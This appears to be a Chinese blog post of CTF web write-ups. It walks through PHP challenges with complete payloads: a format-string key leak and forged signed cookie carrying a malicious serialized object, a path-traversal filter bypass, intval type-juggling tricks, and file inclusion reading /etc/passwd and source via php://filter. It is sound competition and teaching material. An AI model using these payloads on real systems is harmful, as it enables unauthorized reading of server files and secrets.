最近打的一些ctf的writeup

2019DDCTF writeUP

WEB签到题

各位大佬是不是对签到题有什么误解….

题目链接

http://117.51.158.44/index.php

打开链接发现提示没有登陆权限,查看js源代码发现请求了一次

img

使用postman重新发送请求并将didictf_username的值添加为admin

img

提示访问app/fL2XID2i0Cdh.php

查看后发现为网页的php源代码

Session.php

<php
include 'Application.php';
class Session extends Application {

//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";

public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}

}

private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('config/key.txt');
}

public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}

$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);

if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);

if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
parent::response("session_id ip_address user_agent not match",'error');
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;

}

private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}

$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);

$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);

}
}

// $ddctf = new Session();
// $ddctf->index();

$ar=file_get_contents('temp.txt');

$ar = substr($ar,0,strlen($ar)-32);

$ar=unserialize($ar);
$na=new Application();
$na->path="..././config/flag.txt";
array_push($ar,$na);
$ar=serialize($ar);

echo $ar.md5('EzblrbNS'.$ar);

Application.php

<php

Class Application {
var $path = '';

public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;

}

public function auth() {
// $DIDICTF_ADMIN = 'admin';
// if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
// $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
// return TRUE;
// }else{
// $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
// exit();
// }
return TRUE;
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}

public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}

阅读源码后推测大概是利用Application类的析构函数实现读取文件.应该是反序列化

但在Session.php中有个cookie的MD5的验证

if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);

之后才能反序列化

所以需要本地计算md5算好了再发过去实现通过验证

因此需要知道$this->eancrykey的值才能构造MD5实现验证

阅读Session.php发现eancrykey可以通过提交nickname字段获得

if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

可以发送带有nickname=%s的POST请求

img

成功获取eancrykey的值为EzblrbNS

接下来就是创建一个带有恶意构造的反序列化字段读取flag了

在session.php创建自己的反序列化对象并输出

// $ddctf = new Session();
// $ddctf->index(); //注释掉之前的代码

$ar=file_get_contents('temp.txt'); //将服务器返回的正常cookie存放到temp.txt文件中

$ar = substr($ar,0,strlen($ar)-32); //去掉尾部的md5值

$ar=unserialize($ar); //反序列化为一个数组
$na=new Application(); //创建一个新的对象
$na->path="..././config/flag.txt"; //构建恶意读取路径
array_push($ar,$na); //添加到数组中
$ar=serialize($ar); //序列化成字符串

echo $ar.md5('EzblrbNS'.$ar); //输出序列化对象和key与序列化对象的md5

记得这里好像要先转码再放到temp.txt中不然会有编码问题

然后将带有恶意序列化对象的cookie发送过去可以看到flag

img

DDCTF Upload-IMG

比赛的最后一天,本想划划水不做题了结果舍友却做得起劲.下午去网吧打了会守望,把活动奖励领了回来后发现舍友有重大发现..

这是一道web图片上传题目

看要求应该是要上传图片shell并要求上传的图片经过二次渲染后还有phpinfo()字段

网上有个外国大神写的脚本

脚本连接

使用方法1

使用方法2

掘安CTF

夺取尼日利亚

拿到题目 这是一道web题

http://www.jasec.cn/web1

打开后发现给出了源代码如下

<?php
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';

for ($i = 0; $i < count($value); ++$i) {
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == 'w3lc0me_To_sec_WIki' && intval($password) < 232 && intval($password + 1) > 233) {
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}

highlight_file(__FILE__);

题目接受valuepassword两个参数

第一个for循环表示value的值为数组 且每一项的值不能为32-127之间的值 否则将被销毁

如果通过if条件语句则把value的每一个值转换成字母并追加到username后面

判断username是否等于 w3lc0me_To_sec_WIki 以及 password 的值是否满足条件

我们现在来一个一个绕过这些条件

首先题目接受 value 的值为数组且后期要整合到 username 中去

所以我们虽然要传入字符 但又不能是32-127之间的值 否则会被unset掉

php在执行intval的时候会先将数字取模 256

将每一位字母的asiic值都增加256即可

name='w3lc0me_To_sec_WIki'
for i in name:
print(256+ord(i))

375
307
364
355
304
365
357
351
340
367
351
371
357
355
351
343
329
363
361

然后进行替换得到

value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=371&value[]=357&value[]=355&value[]=351&value[]=343&value[]=329&value[]=363&value[]=361

之后要绕过的就是password的值要小于232但加1要大于233

intval转换的规则

如果遇到数字则转换

如果遇到非数字则停止转换

要小于232的是直接使用intval进行转换

要大于233的是在进行加法后进行转换

于是构造

password=0x300

该值转换后的结果为

0
769

最终payload为
http://www.jasec.cn/web1/?password=0x300&value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=371&value[]=357&value[]=355&value[]=351&value[]=343&value[]=329&value[]=363&value[]=361

2019全国大学生信息安全竞赛

打开题目,在f12源代码中可以发现提示我们访问index.php?file=xxx.php以及hint.php

访问index.php?file=hint.php提示缺少参数,但看起来应该是文件包含

构造/index.php?file=../../../../../../../etc/passwd可以查看到本地文件

于是构造

/index.php?file=php://filter/read=convert.base64-encode/resource=./index.php

可以查看源代码

查看index.phphint.php的源代码后发现

传入的file参数会被包含进index.php

除此之外还要传递一个payload参数

该参数在后面会被反序列化,结合hint.php里的两个类可以造成读取任意文件.

index.php

<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
echo 'url'.$url['query'].'<br>';
parse_str($url['query'],$query);
echo 'query'.$query.'<br>';
echo 'url query'.$url['query'].'<br>';
// print_r(serialize($query));
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
// $payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

hint.php

<?php  
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>

可以看到file参数和payload参数都对flag字段进行了过滤.但没有直接对payload进行过滤而是对url的值进行了过滤

于是我们在index.php前添加///阻止url正常获取值

///index.php?file=hint.php

下一步就是构造带有falg.php的序列化值

在本地的hint.php修改代码为

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = &$this->token; //直接将token_flag的值改为token的引用,这样在随机md5之后再判断依然相等
}

public function getFlag(){
// echo 'exec getFlag()';
// $this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}

hint.php的代码最后添加

$f=new Flag('flag.php');

$h=new Handle($f);
$s=serialize($h).'<br>';
echo $s;

本地构造payload

O:6:"Handle":1:{s:14:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

格式化 “ 替换成 %22 , 类名附近添加%00

O:6:%22Handle%22:1:{s:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:{s:4:%22file%22;s:8:%22flag.php%22;s:5:%22token%22;N;s:10:%22token_flag%22;R:4;}}

但在Handle__wakeup中所有变量被重置了,但在序列化字符串长度大于实际长度的时候会跳过weakup,所以我们将Handle的值加一

O:6:%22Handle%22:2:{s:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:{s:4:%22file%22;s:8:%22flag.php%22;s:5:%22token%22;N;s:10:%22token_flag%22;R:4;}}

完整payload

ichunqiu.com///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

<?php 
$flag = 'flag{44623d5b-79ab-479a-bfdf-285856871e4e}';
?>